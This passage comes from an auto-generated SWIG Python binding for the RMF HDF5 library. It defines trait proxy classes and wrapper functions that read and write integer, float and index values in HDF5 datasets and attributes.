read_values_dataset(d, iss, sp, sz): r"""read_values_dataset(hid_t d, hid_t iss, hid_t sp, unsigned int sz) -> Ints""" return _RMF_HDF5._IntTraitsBaseClass_read_values_dataset(d, iss, sp, sz) @staticmethod def write_values_attribute(a, v): r"""write_values_attribute(hid_t a, Ints v)""" return _RMF_HDF5._IntTraitsBaseClass_write_values_attribute(a, v) @staticmethod def read_values_attribute(a, sz): r"""read_values_attribute(hid_t a, unsigned int sz) -> Ints""" return _RMF_HDF5._IntTraitsBaseClass_read_values_attribute(a, sz) def __init__(self): r"""__init__(_IntTraitsBaseClass self) -> _IntTraitsBaseClass""" _RMF_HDF5._IntTraitsBaseClass_swiginit(self, _RMF_HDF5.new__IntTraitsBaseClass()) __swig_destroy__ = _RMF_HDF5.delete__IntTraitsBaseClass # Register _IntTraitsBaseClass in _RMF_HDF5: _RMF_HDF5._IntTraitsBaseClass_swigregister(_IntTraitsBaseClass) def _IntTraitsBaseClass_write_value_dataset(d, iss, s, v): r"""_IntTraitsBaseClass_write_value_dataset(hid_t d, hid_t iss, hid_t s, RMF::HDF5::IntTraitsBase::Type v)""" return _RMF_HDF5._IntTraitsBaseClass_write_value_dataset(d, iss, s, v) def _IntTraitsBaseClass_read_value_dataset(d, iss, sp): r"""_IntTraitsBaseClass_read_value_dataset(hid_t d, hid_t iss, hid_t sp) -> RMF::HDF5::IntTraitsBase::Type""" return _RMF_HDF5._IntTraitsBaseClass_read_value_dataset(d, iss, sp) def _IntTraitsBaseClass_write_values_dataset(d, iss, s, v): r"""_IntTraitsBaseClass_write_values_dataset(hid_t d, hid_t iss, hid_t s, Ints v)""" return _RMF_HDF5._IntTraitsBaseClass_write_values_dataset(d, iss, s, v) def _IntTraitsBaseClass_read_values_dataset(d, iss, sp, sz): r"""_IntTraitsBaseClass_read_values_dataset(hid_t d, hid_t iss, hid_t sp, unsigned int sz) -> Ints""" return _RMF_HDF5._IntTraitsBaseClass_read_values_dataset(d, iss, sp, sz) def _IntTraitsBaseClass_write_values_attribute(a, v): r"""_IntTraitsBaseClass_write_values_attribute(hid_t a, Ints v)""" return _RMF_HDF5._IntTraitsBaseClass_write_values_attribute(a, v) def _IntTraitsBaseClass_read_values_attribute(a, sz): r"""_IntTraitsBaseClass_read_values_attribute(hid_t a, unsigned int sz) -> Ints""" return _RMF_HDF5._IntTraitsBaseClass_read_values_attribute(a, sz) class _IntsTraitsBase(object): r"""Proxy of C++ RMF::HDF5::SimplePluralTraits< RMF::HDF5::IntTraits > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr BatchOperations = _RMF_HDF5._IntsTraitsBase_BatchOperations @staticmethod def get_index(): r"""get_index() -> int""" return _RMF_HDF5._IntsTraitsBase_get_index() @staticmethod def get_null_value(): r"""get_null_value() -> Ints""" return _RMF_HDF5._IntsTraitsBase_get_null_value() @staticmethod def get_is_null_value(t): r"""get_is_null_value(Ints t) -> bool""" return _RMF_HDF5._IntsTraitsBase_get_is_null_value(t) @staticmethod def get_hdf5_fill_type(): r"""get_hdf5_fill_type() -> hid_t""" return _RMF_HDF5._IntsTraitsBase_get_hdf5_fill_type() @staticmethod def get_hdf5_disk_type(): r"""get_hdf5_disk_type() -> hid_t""" return _RMF_HDF5._IntsTraitsBase_get_hdf5_disk_type() @staticmethod def get_hdf5_memory_type(): r"""get_hdf5_memory_type() -> hid_t""" return _RMF_HDF5._IntsTraitsBase_get_hdf5_memory_type() @staticmethod def get_fill_value(): r"""get_fill_value() -> Ints""" return _RMF_HDF5._IntsTraitsBase_get_fill_value() @staticmethod def get_name(): r"""get_name() -> std::string""" return _RMF_HDF5._IntsTraitsBase_get_name() @staticmethod def write_value_dataset(d, iss, s, v): r"""write_value_dataset(hid_t d, hid_t iss, hid_t s, Ints v)""" return _RMF_HDF5._IntsTraitsBase_write_value_dataset(d, iss, s, v) @staticmethod def read_value_dataset(d, iss, sp): r"""read_value_dataset(hid_t d, hid_t iss, hid_t sp) -> Ints""" return _RMF_HDF5._IntsTraitsBase_read_value_dataset(d, iss, sp) @staticmethod def write_values_dataset(arg1, arg2, arg3, arg4): r"""write_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, IntsList arg4)""" return _RMF_HDF5._IntsTraitsBase_write_values_dataset(arg1, arg2, arg3, arg4) @staticmethod def read_values_dataset(arg1, arg2, arg3, arg4): r"""read_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, unsigned int arg4) -> IntsList""" return _RMF_HDF5._IntsTraitsBase_read_values_dataset(arg1, arg2, arg3, arg4) @staticmethod def read_values_attribute(arg1, arg2): r"""read_values_attribute(hid_t arg1, unsigned int arg2) -> IntsList""" return _RMF_HDF5._IntsTraitsBase_read_values_attribute(arg1, arg2) @staticmethod def write_values_attribute(arg1, arg2): r"""write_values_attribute(hid_t arg1, IntsList arg2)""" return _RMF_HDF5._IntsTraitsBase_write_values_attribute(arg1, arg2) def __init__(self): r"""__init__(_IntsTraitsBase self) -> _IntsTraitsBase""" _RMF_HDF5._IntsTraitsBase_swiginit(self, _RMF_HDF5.new__IntsTraitsBase()) __swig_destroy__ = _RMF_HDF5.delete__IntsTraitsBase # Register _IntsTraitsBase in _RMF_HDF5: _RMF_HDF5._IntsTraitsBase_swigregister(_IntsTraitsBase) def _IntsTraitsBase_get_index(): r"""_IntsTraitsBase_get_index() -> int""" return _RMF_HDF5._IntsTraitsBase_get_index() def _IntsTraitsBase_get_null_value(): r"""_IntsTraitsBase_get_null_value() -> Ints""" return _RMF_HDF5._IntsTraitsBase_get_null_value() def _IntsTraitsBase_get_is_null_value(t): r"""_IntsTraitsBase_get_is_null_value(Ints t) -> bool""" return _RMF_HDF5._IntsTraitsBase_get_is_null_value(t) def _IntsTraitsBase_get_hdf5_fill_type(): r"""_IntsTraitsBase_get_hdf5_fill_type() -> hid_t""" return _RMF_HDF5._IntsTraitsBase_get_hdf5_fill_type() def _IntsTraitsBase_get_hdf5_disk_type(): r"""_IntsTraitsBase_get_hdf5_disk_type() -> hid_t""" return _RMF_HDF5._IntsTraitsBase_get_hdf5_disk_type() def _IntsTraitsBase_get_hdf5_memory_type(): r"""_IntsTraitsBase_get_hdf5_memory_type() -> hid_t""" return _RMF_HDF5._IntsTraitsBase_get_hdf5_memory_type() def _IntsTraitsBase_get_fill_value(): r"""_IntsTraitsBase_get_fill_value() -> Ints""" return _RMF_HDF5._IntsTraitsBase_get_fill_value() def _IntsTraitsBase_get_name(): r"""_IntsTraitsBase_get_name() -> std::string""" return _RMF_HDF5._IntsTraitsBase_get_name() def _IntsTraitsBase_write_value_dataset(d, iss, s, v): r"""_IntsTraitsBase_write_value_dataset(hid_t d, hid_t iss, hid_t s, Ints v)""" return _RMF_HDF5._IntsTraitsBase_write_value_dataset(d, iss, s, v) def _IntsTraitsBase_read_value_dataset(d, iss, sp): r"""_IntsTraitsBase_read_value_dataset(hid_t d, hid_t iss, hid_t sp) -> Ints""" return _RMF_HDF5._IntsTraitsBase_read_value_dataset(d, iss, sp) def _IntsTraitsBase_write_values_dataset(arg1, arg2, arg3, arg4): r"""_IntsTraitsBase_write_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, IntsList arg4)""" return _RMF_HDF5._IntsTraitsBase_write_values_dataset(arg1, arg2, arg3, arg4) def _IntsTraitsBase_read_values_dataset(arg1, arg2, arg3, arg4): r"""_IntsTraitsBase_read_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, unsigned int arg4) -> IntsList""" return _RMF_HDF5._IntsTraitsBase_read_values_dataset(arg1, arg2, arg3, arg4) def _IntsTraitsBase_read_values_attribute(arg1, arg2): r"""_IntsTraitsBase_read_values_attribute(hid_t arg1, unsigned int arg2) -> IntsList""" return _RMF_HDF5._IntsTraitsBase_read_values_attribute(arg1, arg2) def _IntsTraitsBase_write_values_attribute(arg1, arg2): r"""_IntsTraitsBase_write_values_attribute(hid_t arg1, IntsList arg2)""" return _RMF_HDF5._IntsTraitsBase_write_values_attribute(arg1, arg2) class _FloatTraitsBaseClass(FloatTraitsBase): r"""Proxy of C++ RMF::HDF5::SimpleTraits< RMF::HDF5::FloatTraitsBase > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr @staticmethod def write_value_dataset(d, iss, s, v): r"""write_value_dataset(hid_t d, hid_t iss, hid_t s, RMF::HDF5::FloatTraitsBase::Type v)""" return _RMF_HDF5._FloatTraitsBaseClass_write_value_dataset(d, iss, s, v) @staticmethod def read_value_dataset(d, iss, sp): r"""read_value_dataset(hid_t d, hid_t iss, hid_t sp) -> RMF::HDF5::FloatTraitsBase::Type""" return _RMF_HDF5._FloatTraitsBaseClass_read_value_dataset(d, iss, sp) @staticmethod def write_values_dataset(d, iss, s, v): r"""write_values_dataset(hid_t d, hid_t iss, hid_t s, Floats v)""" return _RMF_HDF5._FloatTraitsBaseClass_write_values_dataset(d, iss, s, v) @staticmethod def read_values_dataset(d, iss, sp, sz): r"""read_values_dataset(hid_t d, hid_t iss, hid_t sp, unsigned int sz) -> Floats""" return _RMF_HDF5._FloatTraitsBaseClass_read_values_dataset(d, iss, sp, sz) @staticmethod def write_values_attribute(a, v): r"""write_values_attribute(hid_t a, Floats v)""" return _RMF_HDF5._FloatTraitsBaseClass_write_values_attribute(a, v) @staticmethod def read_values_attribute(a, sz): r"""read_values_attribute(hid_t a, unsigned int sz) -> Floats""" return _RMF_HDF5._FloatTraitsBaseClass_read_values_attribute(a, sz) def __init__(self): r"""__init__(_FloatTraitsBaseClass self) -> _FloatTraitsBaseClass""" _RMF_HDF5._FloatTraitsBaseClass_swiginit(self, _RMF_HDF5.new__FloatTraitsBaseClass()) __swig_destroy__ = _RMF_HDF5.delete__FloatTraitsBaseClass # Register _FloatTraitsBaseClass in _RMF_HDF5: _RMF_HDF5._FloatTraitsBaseClass_swigregister(_FloatTraitsBaseClass) def _FloatTraitsBaseClass_write_value_dataset(d, iss, s, v): r"""_FloatTraitsBaseClass_write_value_dataset(hid_t d, hid_t iss, hid_t s, RMF::HDF5::FloatTraitsBase::Type v)""" return _RMF_HDF5._FloatTraitsBaseClass_write_value_dataset(d, iss, s, v) def _FloatTraitsBaseClass_read_value_dataset(d, iss, sp): r"""_FloatTraitsBaseClass_read_value_dataset(hid_t d, hid_t iss, hid_t sp) -> RMF::HDF5::FloatTraitsBase::Type""" return _RMF_HDF5._FloatTraitsBaseClass_read_value_dataset(d, iss, sp) def _FloatTraitsBaseClass_write_values_dataset(d, iss, s, v): r"""_FloatTraitsBaseClass_write_values_dataset(hid_t d, hid_t iss, hid_t s, Floats v)""" return _RMF_HDF5._FloatTraitsBaseClass_write_values_dataset(d, iss, s, v) def _FloatTraitsBaseClass_read_values_dataset(d, iss, sp, sz): r"""_FloatTraitsBaseClass_read_values_dataset(hid_t d, hid_t iss, hid_t sp, unsigned int sz) -> Floats""" return _RMF_HDF5._FloatTraitsBaseClass_read_values_dataset(d, iss, sp, sz) def _FloatTraitsBaseClass_write_values_attribute(a, v): r"""_FloatTraitsBaseClass_write_values_attribute(hid_t a, Floats v)""" return _RMF_HDF5._FloatTraitsBaseClass_write_values_attribute(a, v) def _FloatTraitsBaseClass_read_values_attribute(a, sz): r"""_FloatTraitsBaseClass_read_values_attribute(hid_t a, unsigned int sz) -> Floats""" return _RMF_HDF5._FloatTraitsBaseClass_read_values_attribute(a, sz) class _FloatsTraitsBase(object): r"""Proxy of C++ RMF::HDF5::SimplePluralTraits< RMF::HDF5::FloatTraits > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr BatchOperations = _RMF_HDF5._FloatsTraitsBase_BatchOperations @staticmethod def get_index(): r"""get_index() -> int""" return _RMF_HDF5._FloatsTraitsBase_get_index() @staticmethod def get_null_value(): r"""get_null_value() -> Floats""" return _RMF_HDF5._FloatsTraitsBase_get_null_value() @staticmethod def get_is_null_value(t): r"""get_is_null_value(Floats t) -> bool""" return _RMF_HDF5._FloatsTraitsBase_get_is_null_value(t) @staticmethod def get_hdf5_fill_type(): r"""get_hdf5_fill_type() -> hid_t""" return _RMF_HDF5._FloatsTraitsBase_get_hdf5_fill_type() @staticmethod def get_hdf5_disk_type(): r"""get_hdf5_disk_type() -> hid_t""" return _RMF_HDF5._FloatsTraitsBase_get_hdf5_disk_type() @staticmethod def get_hdf5_memory_type(): r"""get_hdf5_memory_type() -> hid_t""" return _RMF_HDF5._FloatsTraitsBase_get_hdf5_memory_type() @staticmethod def get_fill_value(): r"""get_fill_value() -> Floats""" return _RMF_HDF5._FloatsTraitsBase_get_fill_value() @staticmethod def get_name(): r"""get_name() -> std::string""" return _RMF_HDF5._FloatsTraitsBase_get_name() @staticmethod def write_value_dataset(d, iss, s, v): r"""write_value_dataset(hid_t d, hid_t iss, hid_t s, Floats v)""" return _RMF_HDF5._FloatsTraitsBase_write_value_dataset(d, iss, s, v) @staticmethod def read_value_dataset(d, iss, sp): r"""read_value_dataset(hid_t d, hid_t iss, hid_t sp) -> Floats""" return _RMF_HDF5._FloatsTraitsBase_read_value_dataset(d, iss, sp) @staticmethod def write_values_dataset(arg1, arg2, arg3, arg4): r"""write_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, FloatsList arg4)""" return _RMF_HDF5._FloatsTraitsBase_write_values_dataset(arg1, arg2, arg3, arg4) @staticmethod def read_values_dataset(arg1, arg2, arg3, arg4): r"""read_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, unsigned int arg4) -> FloatsList""" return _RMF_HDF5._FloatsTraitsBase_read_values_dataset(arg1, arg2, arg3, arg4) @staticmethod def read_values_attribute(arg1, arg2): r"""read_values_attribute(hid_t arg1, unsigned int arg2) -> FloatsList""" return _RMF_HDF5._FloatsTraitsBase_read_values_attribute(arg1, arg2) @staticmethod def write_values_attribute(arg1, arg2): r"""write_values_attribute(hid_t arg1, FloatsList arg2)""" return _RMF_HDF5._FloatsTraitsBase_write_values_attribute(arg1, arg2) def __init__(self): r"""__init__(_FloatsTraitsBase self) -> _FloatsTraitsBase""" _RMF_HDF5._FloatsTraitsBase_swiginit(self, _RMF_HDF5.new__FloatsTraitsBase()) __swig_destroy__ = _RMF_HDF5.delete__FloatsTraitsBase # Register _FloatsTraitsBase in _RMF_HDF5: _RMF_HDF5._FloatsTraitsBase_swigregister(_FloatsTraitsBase) def _FloatsTraitsBase_get_index(): r"""_FloatsTraitsBase_get_index() -> int""" return _RMF_HDF5._FloatsTraitsBase_get_index() def _FloatsTraitsBase_get_null_value(): r"""_FloatsTraitsBase_get_null_value() -> Floats""" return _RMF_HDF5._FloatsTraitsBase_get_null_value() def _FloatsTraitsBase_get_is_null_value(t): r"""_FloatsTraitsBase_get_is_null_value(Floats t) -> bool""" return _RMF_HDF5._FloatsTraitsBase_get_is_null_value(t) def _FloatsTraitsBase_get_hdf5_fill_type(): r"""_FloatsTraitsBase_get_hdf5_fill_type() -> hid_t""" return _RMF_HDF5._FloatsTraitsBase_get_hdf5_fill_type() def _FloatsTraitsBase_get_hdf5_disk_type(): r"""_FloatsTraitsBase_get_hdf5_disk_type() -> hid_t""" return _RMF_HDF5._FloatsTraitsBase_get_hdf5_disk_type() def _FloatsTraitsBase_get_hdf5_memory_type(): r"""_FloatsTraitsBase_get_hdf5_memory_type() -> hid_t""" return _RMF_HDF5._FloatsTraitsBase_get_hdf5_memory_type() def _FloatsTraitsBase_get_fill_value(): r"""_FloatsTraitsBase_get_fill_value() -> Floats""" return _RMF_HDF5._FloatsTraitsBase_get_fill_value() def _FloatsTraitsBase_get_name(): r"""_FloatsTraitsBase_get_name() -> std::string""" return _RMF_HDF5._FloatsTraitsBase_get_name() def _FloatsTraitsBase_write_value_dataset(d, iss, s, v): r"""_FloatsTraitsBase_write_value_dataset(hid_t d, hid_t iss, hid_t s, Floats v)""" return _RMF_HDF5._FloatsTraitsBase_write_value_dataset(d, iss, s, v) def _FloatsTraitsBase_read_value_dataset(d, iss, sp): r"""_FloatsTraitsBase_read_value_dataset(hid_t d, hid_t iss, hid_t sp) -> Floats""" return _RMF_HDF5._FloatsTraitsBase_read_value_dataset(d, iss, sp) def _FloatsTraitsBase_write_values_dataset(arg1, arg2, arg3, arg4): r"""_FloatsTraitsBase_write_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, FloatsList arg4)""" return _RMF_HDF5._FloatsTraitsBase_write_values_dataset(arg1, arg2, arg3, arg4) def _FloatsTraitsBase_read_values_dataset(arg1, arg2, arg3, arg4): r"""_FloatsTraitsBase_read_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, unsigned int arg4) -> FloatsList""" return _RMF_HDF5._FloatsTraitsBase_read_values_dataset(arg1, arg2, arg3, arg4) def _FloatsTraitsBase_read_values_attribute(arg1, arg2): r"""_FloatsTraitsBase_read_values_attribute(hid_t arg1, unsigned int arg2) -> FloatsList""" return _RMF_HDF5._FloatsTraitsBase_read_values_attribute(arg1, arg2) def _FloatsTraitsBase_write_values_attribute(arg1, arg2): r"""_FloatsTraitsBase_write_values_attribute(hid_t arg1, FloatsList arg2)""" return _RMF_HDF5._FloatsTraitsBase_write_values_attribute(arg1, arg2) class _IndexTraitsBaseClass(IndexTraitsBase): r"""Proxy of C++ RMF::HDF5::SimpleTraits< RMF::HDF5::IndexTraitsBase > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr @staticmethod def write_value_dataset(d, iss, s, v): r"""write_value_dataset(hid_t d, hid_t iss, hid_t s, RMF::HDF5::IndexTraitsBase::Type v)""" return _RMF_HDF5._IndexTraitsBaseClass_write_value_dataset(d, iss, s, v) @staticmethod def read_value_dataset(d, iss, sp): r"""read_value_dataset(hid_t d, hid_t iss, hid_t sp) -> RMF::HDF5::IndexTraitsBase::Type""" return _RMF_HDF5._IndexTraitsBaseClass_read_value_dataset(d, iss, sp) @staticmethod def write_values_dataset(d, iss, s, v): r"""write_values_dataset(hid_t d, hid_t iss, hid_t s, Ints v)""" return _RMF_HDF5._IndexTraitsBaseClass_write_values_dataset(d, iss, s, v) @staticmethod def read_values_dataset(d, iss, sp, sz): r"""read_values_dataset(hid_t d, hid_t iss, hid_t sp, unsigned int sz) -> Ints""" return _RMF_HDF5._IndexTraitsBaseClass_read_values_dataset(d, iss, sp, sz) @staticmethod def write_values_attribute(a, v): r"""write_values_attribute(hid_t a, Ints v)""" return _RMF_HDF5._IndexTraitsBaseClass_write_values_attribute(a, v) @staticmethod def read_values_attribute(a, sz): r"""read_values_attribute(hid_t a, unsigned int sz) -> Ints""" return _RMF_HDF5._IndexTraitsBaseClass_read_values_attribute(a, sz) def __init__(self): r"""__init__(_IndexTraitsBaseClass self) -> _IndexTraitsBaseClass""" _RMF_HDF5._IndexTraitsBaseClass_swiginit(self, _RMF_HDF5.new__IndexTraitsBaseClass()) __swig_destroy__ = _RMF_HDF5.delete__IndexTraitsBaseClass # Register _IndexTraitsBaseClass in _RMF_HDF5: _RMF_HDF5._IndexTraitsBaseClass_swigregister(_IndexTraitsBaseClass) def _IndexTraitsBaseClass_write_value_dataset(d, iss, s, v): r"""_IndexTraitsBaseClass_write_value_dataset(hid_t d, hid_t iss, hid_t s, RMF::HDF5::IndexTraitsBase::Type v)""" return _RMF_HDF5._IndexTraitsBaseClass_write_value_dataset(d, iss, s, v) def _IndexTraitsBaseClass_read_value_dataset(d, iss, sp): r"""_IndexTraitsBaseClass_read_value_dataset(hid_t d, hid_t iss, hid_t sp) -> RMF::HDF5::IndexTraitsBase::Type""" return _RMF_HDF5._IndexTraitsBaseClass_read_value_dataset(d, iss, sp) def _IndexTraitsBaseClass_write_values_dataset(d, iss, s, v): r"""_IndexTraitsBaseClass_write_values_dataset(hid_t d, hid_t iss, hid_t s, Ints v)""" return _RMF_HDF5._IndexTraitsBaseClass_write_values_dataset(d, iss, s, v) def _IndexTraitsBaseClass_read_values_dataset(d, iss, sp, sz): r"""_IndexTraitsBaseClass_read_values_dataset(hid_t d, hid_t iss, hid_t sp, unsigned int sz) -> Ints""" return _RMF_HDF5._IndexTraitsBaseClass_read_values_dataset(d, iss, sp, sz) def _IndexTraitsBaseClass_write_values_attribute(a, v): r"""_IndexTraitsBaseClass_write_values_attribute(hid_t a, Ints v)""" return _RMF_HDF5._IndexTraitsBaseClass_write_values_attribute(a, v) def _IndexTraitsBaseClass_read_values_attribute(a, sz): r"""_IndexTraitsBaseClass_read_values_attribute(hid_t a, unsigned int sz) -> Ints""" return _RMF_HDF5._IndexTraitsBaseClass_read_values_attribute(a, sz) class _IndexesTraitsBase(object): r"""Proxy of C++ RMF::HDF5::SimplePluralTraits< RMF::HDF5::IndexTraits > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr BatchOperations = _RMF_HDF5._IndexesTraitsBase_BatchOperations @staticmethod def get_index(): r"""get_index() -> int""" return _RMF_HDF5._IndexesTraitsBase_get_index() @staticmethod def get_null_value(): r"""get_null_value() -> Ints""" return _RMF_HDF5._IndexesTraitsBase_get_null_value() @staticmethod def get_is_null_value(t): r"""get_is_null_value(Ints t) -> bool""" return _RMF_HDF5._IndexesTraitsBase_get_is_null_value(t) @staticmethod def get_hdf5_fill_type(): r"""get_hdf5_fill_type() -> hid_t""" return _RMF_HDF5._IndexesTraitsBase_get_hdf5_fill_type() @staticmethod def get_hdf5_disk_type(): r"""get_hdf5_disk_type() -> hid_t""" return _RMF_HDF5._IndexesTraitsBase_get_hdf5_disk_type() @staticmethod def get_hdf5_memory_type(): r"""get_hdf5_memory_type() -> hid_t""" return _RMF_HDF5._IndexesTraitsBase_get_hdf5_memory_type() @staticmethod def get_fill_value(): r"""get_fill_value() -> Ints""" return _RMF_HDF5._IndexesTraitsBase_get_fill_value() @staticmethod def get_name(): r"""get_name() -> std::string""" return _RMF_HDF5._IndexesTraitsBase_get_name() @staticmethod def write_value_dataset(d, iss, s, v): r"""write_value_dataset(hid_t d, hid_t iss, hid_t s, Ints v)""" return _RMF_HDF5._IndexesTraitsBase_write_value_dataset(d, iss, s, v) @staticmethod def read_value_dataset(d, iss, sp): r"""read_value_dataset(hid_t d, hid_t iss, hid_t sp) -> Ints""" return _RMF_HDF5._IndexesTraitsBase_read_value_dataset(d, iss, sp) @staticmethod def write_values_dataset(arg1, arg2, arg3, arg4): r"""write_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, IntsList arg4)""" return _RMF_HDF5._IndexesTraitsBase_write_values_dataset(arg1, arg2, arg3, arg4) @staticmethod def read_values_dataset(arg1, arg2, arg3, arg4): r"""read_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, unsigned int arg4) -> IntsList""" return _RMF_HDF5._IndexesTraitsBase_read_values_dataset(arg1, arg2, arg3, arg4) @staticmethod def read_values_attribute(arg1, arg2): r"""read_values_attribute(hid_t arg1, unsigned int arg2) -> IntsList""" return _RMF_HDF5._IndexesTraitsBase_read_values_attribute(arg1, arg2) @staticmethod def write_values_attribute(arg1, arg2): r"""write_values_attribute(hid_t arg1, IntsList arg2)""" return _RMF_HDF5._IndexesTraitsBase_write_values_attribute(arg1, arg2) def __init__(self): r"""__init__(_IndexesTraitsBase self) -> _IndexesTraitsBase""" _RMF_HDF5._IndexesTraitsBase_swiginit(self, _RMF_HDF5.new__IndexesTraitsBase()) __swig_destroy__ = _RMF_HDF5.delete__IndexesTraitsBase # Register _IndexesTraitsBase in _RMF_HDF5: _RMF_HDF5._IndexesTraitsBase_swigregister(_IndexesTraitsBase) def _IndexesTraitsBase_get_index(): r"""_IndexesTraitsBase_get_index() -> int""" return _RMF_HDF5._IndexesTraitsBase_get_index() def _IndexesTraitsBase_get_null_value(): r"""_IndexesTraitsBase_get_null_value() -> Ints""" return _RMF_HDF5._IndexesTraitsBase_get_null_value() def _IndexesTraitsBase_get_is_null_value(t): r"""_IndexesTraitsBase_get_is_null_value(Ints t) -> bool""" return _RMF_HDF5._IndexesTraitsBase_get_is_null_value(t) def _IndexesTraitsBase_get_hdf5_fill_type(): r"""_IndexesTraitsBase_get_hdf5_fill_type() -> hid_t""" return _RMF_HDF5._IndexesTraitsBase_get_hdf5_fill_type() def _IndexesTraitsBase_get_hdf5_disk_type(): r"""_IndexesTraitsBase_get_hdf5_disk_type() -> hid_t""" return _RMF_HDF5._IndexesTraitsBase_get_hdf5_disk_type() def _IndexesTraitsBase_get_hdf5_memory_type(): r"""_IndexesTraitsBase_get_hdf5_memory_type() -> hid_t""" return _RMF_HDF5._IndexesTraitsBase_get_hdf5_memory_type() def _IndexesTraitsBase_get_fill_value(): r"""_IndexesTraitsBase_get_fill_value() -> Ints""" return _RMF_HDF5._IndexesTraitsBase_get_fill_value() def _IndexesTraitsBase_get_name(): r"""_IndexesTraitsBase_get_name() -> std::string""" return _RMF_HDF5._IndexesTraitsBase_get_name() def _IndexesTraitsBase_write_value_dataset(d, iss, s, v): r"""_IndexesTraitsBase_write_value_dataset(hid_t d, hid_t iss, hid_t s, Ints v)""" return _RMF_HDF5._IndexesTraitsBase_write_value_dataset(d, iss, s, v) def _IndexesTraitsBase_read_value_dataset(d, iss, sp): r"""_IndexesTraitsBase_read_value_dataset(hid_t d, hid_t iss, hid_t sp) -> Ints""" return _RMF_HDF5._IndexesTraitsBase_read_value_dataset(d, iss, sp) def _IndexesTraitsBase_write_values_dataset(arg1, arg2, arg3, arg4): r"""_IndexesTraitsBase_write_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, IntsList arg4)""" return _RMF_HDF5._IndexesTraitsBase_write_values_dataset(arg1, arg2, arg3, arg4) def _IndexesTraitsBase_read_values_dataset(arg1, arg2, arg3, arg4): r"""_IndexesTraitsBase_read_values_dataset(hid_t arg1, hid_t arg2, hid_t arg3, unsigned int arg4) -> IntsList""" return _RMF_HDF5._IndexesTraitsBase_read_values_dataset(arg1, arg2, arg3, arg4) def _IndexesTraitsBase_read_values_attribute(arg1, arg2): r"""_IndexesTraitsBase_read_values_attribute(hid_t arg1, unsigned int arg2) -> IntsList""" return _RMF_HDF5._IndexesTraitsBase_read_values_attribute(arg1, arg2) def _IndexesTraitsBase_write_values_attribute(arg1, arg2): r"""_IndexesTraitsBase_write_values_attribute(hid_t arg1, IntsList arg2)""" return _RMF_HDF5._IndexesTraitsBase_write_values_attribute(arg1, arg2) class _IntTraits(_IntTraitsBaseClass): r"""Proxy of C++ RMF::HDF5::IntTraits class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr def __init__(self): r"""__init__(_IntTraits self) -> _IntTraits""" _RMF_HDF5._IntTraits_swiginit(self, _RMF_HDF5.new__IntTraits()) __swig_destroy__ = _RMF_HDF5.delete__IntTraits # Register _IntTraits in _RMF_HDF5: _RMF_HDF5._IntTraits_swigregister(_IntTraits) class _IntsTraits(_IntsTraitsBase): r"""Proxy of C++ RMF::HDF5::IntsTraits class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr def __init__(self): r"""__init__(_IntsTraits self) -> _IntsTraits""" _RMF_HDF5._IntsTraits_swiginit(self, _RMF_HDF5.new__IntsTraits()) __swig_destroy__ = _RMF_HDF5.delete__IntsTraits # Register _IntsTraits in _RMF_HDF5: _RMF_HDF5._IntsTraits_swigregister(_IntsTraits) class _FloatTraits(_FloatTraitsBaseClass): r"""Proxy of C++ RMF::HDF5::FloatTraits class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr def __init__(self): r"""__init__(_FloatTraits self) -> _FloatTraits""" _RMF_HDF5._FloatTraits_swiginit(self, _RMF_HDF5.new__FloatTraits()) __swig_destroy__ = _RMF_HDF5.delete__FloatTraits # Register _FloatTraits in _RMF_HDF5: _RMF_HDF5._FloatTraits_swigregister(_FloatTraits) class _FloatsTraits(_FloatsTraitsBase): r"""Proxy of C++ RMF::HDF5::FloatsTraits class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr def __init__(self): r"""__init__(_FloatsTraits self) -> _FloatsTraits""" _RMF_HDF5._FloatsTraits_swiginit(self, _RMF_HDF5.new__FloatsTraits()) __swig_destroy__ = _RMF_HDF5.delete__FloatsTraits # Register _FloatsTraits in _RMF_HDF5: _RMF_HDF5._FloatsTraits_swigregister(_FloatsTraits) class _IndexTraits(_IndexTraitsBaseClass): r"""Proxy of C++ RMF::HDF5::IndexTraits class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr def __init__(self): r"""__init__(_IndexTraits self) -> _IndexTraits""" _RMF_HDF5._IndexTraits_swiginit(self, _RMF_HDF5.new__IndexTraits()) __swig_destroy__ = _RMF_HDF5.delete__IndexTraits # Register _IndexTraits in _RMF_HDF5: _RMF_HDF5._IndexTraits_swigregister(_IndexTraits) class _IndexesTraits(_IndexesTraitsBase): r"""Proxy of C++ RMF::HDF5::IndexesTraits class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr def __init__(self): r"""__init__(_IndexesTraits self) -> _IndexesTraits""" _RMF_HDF5._IndexesTraits_swiginit(self, _RMF_HDF5.new__IndexesTraits()) __swig_destroy__ = _RMF_HDF5.delete__IndexesTraits # Register _IndexesTraits in _RMF_HDF5: _RMF_HDF5._IndexesTraits_swigregister(_IndexesTraits) class Object(object): r"""Proxy of C++ RMF::HDF5::Object class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __init__(self, 